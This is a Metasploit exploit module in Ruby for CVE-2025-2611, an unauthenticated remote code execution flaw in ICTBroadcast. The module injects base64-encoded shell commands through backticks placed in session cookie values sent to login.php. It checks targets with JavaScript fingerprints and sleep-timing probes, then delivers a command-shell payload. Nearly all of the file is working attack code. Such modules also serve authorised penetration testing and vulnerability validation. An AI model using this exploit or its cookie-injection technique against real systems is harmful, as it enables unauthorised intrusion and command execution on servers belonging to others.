122 lines
3.4 KiB
Ruby
122 lines
3.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'ICTBroadcast Unauthenticated Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits an unauthenticated remote code execution (RCE) vulnerability
|
|
in ICTBroadcast. The vulnerability exists in the way session cookies are handled
|
|
and processed, allowing an attacker to inject arbitrary system commands.
|
|
},
|
|
'Author' => [
|
|
'Valentin Lobstein' # Metasploit module author and vulnerability discovery
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['URL', 'https://www.ictbroadcast.com/'],
|
|
['CVE', '2025-2611']
|
|
],
|
|
'Targets' => [
|
|
[
|
|
'Unix/Linux Command Shell',
|
|
{
|
|
'Platform' => %w[unix linux],
|
|
'Arch' => ARCH_CMD
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2025-03-19',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def get_valid_cookies
|
|
@get_valid_cookies ||= begin
|
|
print_status('Retrieving session cookies dynamically')
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'login.php')
|
|
)
|
|
fail_with(Failure::UnexpectedReply, 'No response from server') unless res
|
|
|
|
if (cookies = res.get_cookies)
|
|
cookie_jar.clear
|
|
cookie_jar.parse_and_merge(
|
|
cookies,
|
|
"#{datastore['SSL'] ? 'https' : 'http'}://#{rhost}:#{rport}"
|
|
)
|
|
print_status("Found cookies: #{cookie_jar.cookies.map(&:to_s).join('; ')}")
|
|
end
|
|
|
|
cookie_jar
|
|
end
|
|
end
|
|
|
|
def inject_command(command)
|
|
jar = get_valid_cookies
|
|
return if jar.empty?
|
|
|
|
jar.cookies.each do |c|
|
|
original = c.value
|
|
c.value = "`echo${IFS}#{Rex::Text.encode_base64(command)}|base64${IFS}-d|sh`"
|
|
|
|
send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'login.php'),
|
|
'cookie_jar' => jar
|
|
)
|
|
|
|
c.value = original
|
|
end
|
|
end
|
|
|
|
def check
|
|
print_status('Checking ICTBroadcast via JS fingerprints')
|
|
|
|
fingerprint_found = %w[
|
|
IVRDesigner.js agent.js campaign.js campaign_feedback.js
|
|
campaign_integration.js phone.js supervisor.js trunk.js
|
|
].any? do |file|
|
|
uri = normalize_uri(target_uri.path, 'js', file)
|
|
res = send_request_cgi!('method' => 'GET', 'uri' => uri)
|
|
res&.code == 200 && res.body.include?('ICT Innovations')
|
|
end
|
|
|
|
return CheckCode::Safe('The target is not vulnerable') unless fingerprint_found
|
|
|
|
print_good('JS fingerprint found; performing timing tests')
|
|
|
|
[3, 4, 5].sample(2).each do |t|
|
|
start = Time.now
|
|
inject_command("sleep #{t}")
|
|
if Time.now - start >= (t - 0.3)
|
|
return CheckCode::Vulnerable("Injected RCE (slept #{t}s)")
|
|
end
|
|
end
|
|
|
|
CheckCode::Appears('Fingerprint present but timing did not match')
|
|
end
|
|
|
|
def exploit
|
|
inject_command(payload.encoded)
|
|
end
|
|
end
|